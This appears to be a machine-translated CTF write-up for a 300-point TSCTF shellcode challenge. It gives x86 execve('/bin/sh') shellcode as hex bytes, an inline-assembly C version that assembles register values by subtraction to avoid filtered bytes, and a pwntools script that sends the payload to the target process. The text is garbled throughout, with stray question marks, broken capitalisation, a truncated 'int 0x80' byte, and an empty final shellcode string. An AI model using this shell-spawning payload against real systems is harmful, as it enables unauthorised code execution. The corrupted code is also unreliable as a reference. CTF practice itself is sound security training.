"Writeup" TSCTF Shellcode 300pt

The topic of the investigation is not simple, but as a shellcode to write the introduction is still meaningful.

Shellcode = ' '

# push '/bin///sh\x00 '

# 73

Shellcode + = H2B (' 6a ")???? # Push 0x68

Shellcode + = H2B (' 2f2f2f73 ')? # push 0X732F2F2F

Shellcode + = H2B (' 2f62696e ')? # push 0X6E69622F

# Call EXECVE (' ESP ', 0, 0)

Shellcode + = H2B (' 89e3 ')???? # mov ebx, esp

Shellcode + = H2B (' 31c9 ')???? # XOR exc, ECX

Shellcode + = H2B (' 6a 0b ')???? # Push 0xb (lost from 0x0b)

Shellcode + = H2B (' 58 ')????? # pop EAX

# Set edx to 0, eax are known to be positive

Shellcode + = H2B (' 99 ')????? # CDQ

Shellcode + = H2B (' CD ')???? # int 0x80

?

By the way the use of GDB, dynamic debugging and Python attach up the basic techniques of testing, as well as GCC and compiling, ASM usage.

?

#include <stdio.h>

int main () {

? __asm__

? ("Mov $0x31313331,%eax\n\t"

?" Sub $0x313132c9,%eax\n\t "

?" Push%eax\n\t "

?" MOV $0x31313331,%eax\n\t "

?" Sub $0x313132be,%eax\n\t "

?" Push%eax\n\t "

?" Push $0x2f2f2f\n\t "

?" Push $0x6e69622f\n\t "

?" MOV%esp,%ebx\n\t "

?" XOR%ecx,%ecx\n\t "

?" MOV $0x31313131,%eax\n\t "

?" Sub $0x31313126,%eax\n\t "

?" Push%eax\n\t "

?" Pop%eax\n\t "

?" Cdq\n\t "

?" int $0x80\n\t "

?);

? return 0;

}

Of course, I was also familiar with the simplest use of pwntools:

?

From PWN Import *

Import time

Context (arch= ' i386 ', os= ' Linux ')

?

#elf =elf ('./shellcode ')

#libc =elf (' libc.so ')

?

P=process ('./shellcode ')

#p =remote (' url ', port)

?

?

Time.sleep (30)

Print "..."

Time.sleep (30)

?

#given

def H2B (s):

? ? Return S.strip (). Replace (', '). Decode (' hex ')

Shellcode = ' '

Print Shellcode

P.sendline (Shellcode)

Raw_input (' Waiting for debug ... ')

"Writeup" TSCTF Shellcode 300pt